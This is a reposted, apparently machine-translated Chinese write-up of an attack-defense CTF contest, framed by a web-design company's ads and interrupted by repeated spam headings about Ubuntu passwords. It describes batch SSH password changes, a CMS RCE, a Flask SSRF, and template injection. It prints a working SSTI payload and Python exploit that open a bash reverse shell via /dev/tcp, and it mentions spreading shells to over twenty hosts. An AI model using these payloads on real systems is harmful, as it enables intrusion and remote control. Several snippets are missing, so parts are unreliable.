我们已经准备好了,你呢?

2026我们与您携手共赢,为您的企业形象保驾护航!

今天早上在知乎上看到穆大师的回答,感觉自己有点太为了竞争而竞争了。

以后会更多的接触实际的网络攻防对抗。

写一个小总结,记录一些小经历和一些有趣的事情

首先感谢A1Lin前辈和Yolia前辈的强大输出。它真的很强大,我必须接受它。我深感荣幸。

ubuntu 密码不够好_ubuntu突然密码不正确_ubuntu密码对了登不上去

网络拓扑:

赛前主办方未提供网络拓扑

所以主机在得到这个信息之后,首先要发现它。

masscan -p 80 172.16.0.0/24

比赛开始前,每个队伍都会收到一张小纸条,上面写着他们队伍的用户名、密码和IP地址。

每个团队成员携带的笔记本电脑的IP地址都是通过DHCP获取的。我们团队的IP地址是192.168.1.1/24。

比赛过程中发现各队应占用C段,其他队可能占用192.168.2.1/24等。

位于172.16.0.150-172.16.205

每个团队有五台服务器、两道 Web 题、两道 Pwn 题和一道

各队同一题的IP地址第四段余数5相同。

比如我们的团队是:

172.16.0.165 web2 (Ubuntu-Server-16.04)
172.16.0.166 web1 (Ubuntu-Server-16.04)
172.16.0.167 mobile (Windows-7)
172.16.0.168 pwn1 (Ubuntu-Server-16.04)
172.16.0.169 pwn2 (Ubuntu-Server-16.04)

其他规则:

比赛期间禁止接入外部网络,场内设有手机信号屏蔽器。

08:30开始比赛,半小时维护时间,09:00即可开始进攻

获取Flag的方式是在目标机上访问

:8000/旗

此 URL 将返回标志而不是本地文件。

例如:

   curl http://172.16.0.30:8000/flag
   php -r 'echo file_get_contents("http://172.16.0.30:8000/flag");'

如果是本地文件,我们可以直接利用任意文件读取漏洞来获取flag,但这不行,只能类似于任意代码执行或者ssrf。

常规:

第1章 单身20年的年轻人以极快的速度和力量创造奇迹

当我第一次看到组织者的注释,其中包含环境配置以及用户名和密码时,我很高兴。

有四台 Linux 服务器。所有团队的用户名和密码均相同。你可以测试一下你的手速。

看来我准备的小书包还是有点用处的。九点钟,我拿出准备好的ssh修改密码脚本。

因为一开始网络拓扑不清楚,所以直接批量修改172.16.0.1/24,但是因为之前的主机不存在

所以我从来没有看到效果,所以我只是把它放在后台慢慢运行。最后,下午 1 点左右,我意识到天哪?我实际上更改了一些团队的密码。

再看IP,呃,奇怪了,为什么要改自己服务器的密码呢?

修改后的IP为172.16.0.166,即web1。之前的用户名和密码是:/

应该不会吧,维护的时候我们已经改密码了……最后一查,这台服务器上居然有两个用户……

但主办方给我们的纸条上什么也没说……这有点坑爹啊……

可以看到,几乎所有团队都通过脚本更改了这道题的默认密码,所以这道题基本不需要做。仅凭这一点就可以击败整个团队。

因为web1没有赋予root权限,用户也没有

但web2用户有root权限

最后,我想了想。我当时有点兴奋。我应该尝试看看用户是否正确。如果是这样的话,那观看起来就真的很有趣了。手动的太搞笑了

还有一个遗憾的地方就是,比赛时写的剧本其实是有问题的。

一开始,发现了大约9个弱密码,其中很多都存在web1以外的问题。可能是部分队伍在维护期间没有更改默认密码。

然后我开始使用弱密码登录,但是脚本的逻辑是错误的。每次我拿到flag后,我都会断开ssh。

结果有的团队发现无法登录服务器,申请重置服务器,然后我们就无法再使用了。

正常的逻辑应该是登录一次,然后循环使用登录成功的服务器的ssh获取flag

我是在比赛结束前两个小时左右才意识到这一点的,而且我确实因此丢了很多分。

第二章 误删除的菜刀不能批量使用

比赛前一天,我以为第二天就可以上网了,所以就删除了——

然后第二天真正使用的时候我就后悔了。

Web2 是一个海洋 CMS。铁人三项赛时正好有一道原始题,利用了一个漏洞:

因为当时无法上网,所以就用手机搜索EXP。手动输入后发现并没有什么用。然后我就天真地以为这个CMS可能是新版本了。

可能不行,所以我就想着先做个白盒审计,看看有没有后门。

find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('

找了一段时间,似乎没有发现任何故意留后门的地方。

大约一个小时后……我意识到我们实际上在这道题上丢了分。

我看了一下日志。天啊?其实就是这个远程代码执行漏洞。

可能是我一开始手抖,所以POC输入错误了orz

然后快速写入EXP并开始玩

但不幸的是,它并没有被使用——

可惜的是,自动写入内存木马这个小功能在比赛前就准备了很长时间。

这道题没有使用内存木马,我只是利用了该漏洞一两个小时左右,然后大家就修复了该漏洞。

本题一开始,整个web目录的权限是777,包括/var/www/html目录。

我注意到了这一点,但不敢改成755。

因为我担心我还会上传文件来检查服务是否还活着。

最后我发现老大居然在根目录下上传了两个内存shell。

我一咬牙,决定全部改成755,稍后再找一下上传目录,再改回来。

find . -type d -writable | xargs chmod 755

我发现把所有值都改成755后,好像没有被判断为Down机器,所以就这样吧。

在最后一个问题上我没有丢掉任何一点。

几点遗憾:

我看到后立即惊慌失措。我赶紧查了一下,发现还挺复杂的。然后我就赶紧删除了,没有保存去跟老大学新姿势。

您还没有利用该漏洞来维护权限。漏洞修复后,您将无法执行任何操作。

老大们上传的名字不是随机的,每个队伍的路径应该是一样的,可惜我很快就把shell删掉了,所以没办法重用。今后我还是需要注意这一点。

第三点其实是可以用的,因为老大的脚本没有检测到删除后不发送shell的功能,所以应该可以直接在同目录下获取构造日志记录的PHP,但是在竞争没想到这一点

网上流传的大部分内存木马都是这样的:

您是否注意到 while 只判断文件是否存在?那我只需要注释掉你文件中的shell就可以绕过你的内存木马了。

正确的姿势应该是这样的:

我第一次发现Web2这道题丢分后,很快就想到了修复,但是一开始我就在php函数的参数上写错了。

因此,很长一段时间,这个话题都被判定为下流。

给出最终的补丁脚本:

// 只有die,没有流量记录的功能。

Web2其实是有root权限的,所以其实可以直接修改php.ini来禁用一些危险的功能。不过因为之前没有准备,比赛的时候太紧张,没有想到,所以就没有做。

后记:

比赛期间没有安装代码对比工具。我刚刚安装了一个。经过对比,我发现出题者留下了后门。遗憾的是,在比赛过程中并没有发现。

这也算是准备不足,比较可惜。

ubuntu 密码不够好_ubuntu密码对了登不上去_ubuntu突然密码不正确

// 抱歉看错了 , 这个 admin_ping.php 是新版本才有的功能
// 可以来个后台 GetShell 的 0Day 了, 滑稽

第3章 震惊,渣男抄了尖子生的作业飞到地上

感谢Yolia姐姐对Flask的深入了解。

我们在流量中发现了这样一个流程:

GET http://HOST:PORT/auth/getimage/aHR0cDovLzE3Mi4xNi4wLjMwOjgwMDAvZmxhZw==

审核了代码:

ubuntu密码对了登不上去_ubuntu 密码不够好_ubuntu突然密码不正确

我发现SSRF这里可以直接发送HTTP请求,所以这个可以用来获取FLAG。

然后快速编写EXP并将其馈送到漏洞利用框架

午餐期间发现了另一个可疑流量:

POST http://HOST:PORT/auth/test
拿到的 POST 数据包为 :
username=d2hvYW1p&password=whoami&x={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ =='catch_warnings' %}{{c.__init__.func_globals['linecache'].__dict__['os'].popen("'''+"bash -c 'bash -i &>/dev/tcp/192.168.1.2/8080 0>&1'".encode("base64").replace("\n", "")+'''".decode("base64")).read()}}{% endif %}{% endfor %}

通过学姐的分析定位到了关键代码:

ubuntu突然密码不正确_ubuntu密码对了登不上去_ubuntu 密码不够好

ubuntu突然密码不正确_ubuntu密码对了登不上去_ubuntu 密码不够好

POST 到路由 /auth/test 将被写入文件 /tmp/.txt

然后使用模板渲染功能将其渲染为 HTML

存在模板注入漏洞:

ubuntu 密码不够好_ubuntu密码对了登不上去_ubuntu突然密码不正确

这样就可以执行任意代码,也就是说我们只需要上传一个恶意模板文件,然后让函数渲染该模板文件即可执行我们注入的代码。

在/auth/test路由中,这个函数只是名义上的,它只是验证它是否等于编码值。

所以可以直接构造,最终结果如下:

import requests
def get_flag(host, port):
    url = "http://%s:%d/auth/test" % (host, port)
    payload = '''{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ =='catch_warnings' %}{{c.__init__.func_globals['linecache'].__dict__['os'].popen("'''+"bash -c 'bash -i &>/dev/tcp/192.168.1.2/8080 0>&1'".encode("base64").replace("\n", "")+'''".decode("base64")).read()}}{% endif %}{% endfor %}'''
    username = "admin"
    data = {"x":payload,"username":".ctf","password":base64.b64encode(".ctf")}
    response = requests.post(url, data=data, timeout=5)
    flag = response.content
    return flag
if __name__ == "__main__":
    get_flag("172.16.0.150", 80)

Yolia前辈也发现了代码中可能存在的这个漏洞:

ubuntu突然密码不正确_ubuntu 密码不够好_ubuntu密码对了登不上去

ubuntu 密码不够好_ubuntu密码对了登不上去_ubuntu突然密码不正确

Route/hello 将渲染 test.txt 的内容。如果test.txt的内容是可控的,则可以构造相同的EXP并注入到上述模板中。

然后还有一个文件上传功能,不过这个文件上传功能需要登录。

还有一个文件名白名单。

关于登录:

您可以从默认数据库中获取用户名和密码

还可以在代码中获取测试用例的用户名和密码:tests/*.py

ubuntu突然密码不正确_ubuntu 密码不够好_ubuntu密码对了登不上去

可以看到txt文件可以上传,并且文件名没有被过滤掉../

因此,其实是可以遍历到上层目录的,也就是说可以直接覆盖test.txt。

这样我们每次只需要访问路由hello,然后就会渲染出test.txt,执行代码即可获取flag。

第 1 步:登录

第2步:上传

第三步:访问/auth/hello路由并获取flag

不过我刚才测试了一下,好像没有找到如何登录成功。

遗憾:

我们的服务器早上宕机了很长时间,被判定宕机了,但实际上我们并没有对代码进行任何修改。最后我们联系了管理员,管理员告诉我们需要自己检查日志来解决问题。

日志中找到的路由:/

ubuntu突然密码不正确_ubuntu密码对了登不上去_ubuntu 密码不够好

只要访问这个网址,就会导致对方的服务器崩溃。

感谢Yolia,学姐发现问题后很快修复了这个BUG。

发现这个问题后,我就没有再利用这个BUG去攻击别人了。这也是一种损失。

第四章:反弹shell构建僵尸网络

到了下午,优势基本明显了,我就想着如何尽可能的保持权威。

拿出之前写的-Shell-,用Web1和Pwn的Exp反弹shell,最后让20多台主机上线。

最后用工具写了反弹shell的脚本,玩得很开心。

可惜没有留下截图

遗憾:

有可能该工具会被读取阻塞,从而导致前端卡住,程序必须重新启动。

但这会导致当前在线的所有主机都离线。这是一个很大的损失,或者说开发时前端线程操作控制不好。

后记:

关于修改ssh密码的脚本,我稍微修改了一下。主要更新是使输入文件和输出文件具有相同的格式,这样多次运行脚本就可以形成日志链,而无需手动格式化日志文件。

另外一个更新是,现在脚本不再是每轮都再次登录,而是长期保持这一点,这样即使目标团队更改了密码,我们这里的 ssh 仍然不会断开。

除非重新启动ssh服务或者重新启动服务器,否则这可以看作是一种权限维护。

其他想到但没有使用过的点:

1.可以修改pwn题的curl命令的别名

alias curl='python -c "__import__(\"sys\").stdout.write(\"flag{%s}\\n\" % (__import__(\"hashlib\").md5(\"\".join([__import__(\"random\").choice(__import__(\"string\").letters) for i in range(0x10)])).hexdigest()))"'

如果是Pwn服务器,连接上后可以直接先改curl命令。

这样,即使对方打进来,如果你不知道这一点,每次都会得到一个错误的标志。

因此,在编写pwn的exp时,如果想在拿到shell后调用某个系统命令,最好使用绝对路径来调用。

/usr/bin/curl

2. 通用WAF

由于这是主办方明令禁止的,所以没有任何用处,而且这部分的准备也不够充分。

而如果是多入口应用且没有root权限的话,部署起来会比较困难。

具有 root 权限时可以使用的模块

写 。到目录以控制对该目录的访问

给出一个禁用 PHP 执行的示例配置文件:


Options -ExecCGI -Indexes
AllowOverride None
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
php_flag engine off

 deny from all

二维码
扫一扫在手机端查看

本文链接:https://by928.com/8474.html     转载请注明出处和本文链接!请遵守 《网站协议》
我们凭借多年的网站建设经验,坚持以“帮助中小企业实现网络营销化”为宗旨,累计为4000多家客户提供品质建站服务,得到了客户的一致好评。如果您有网站建设、网站改版、域名注册、主机空间、手机网站建设、网站备案等方面的需求,请立即点击咨询我们或拨打咨询热线: 13761152229,我们会详细为你一一解答你心中的疑难。

项目经理在线

我们已经准备好了,你呢?

2020我们与您携手共赢,为您的企业形象保驾护航!

在线客服
联系方式

热线电话

13761152229

上班时间

周一到周五

公司电话

二维码
微信
线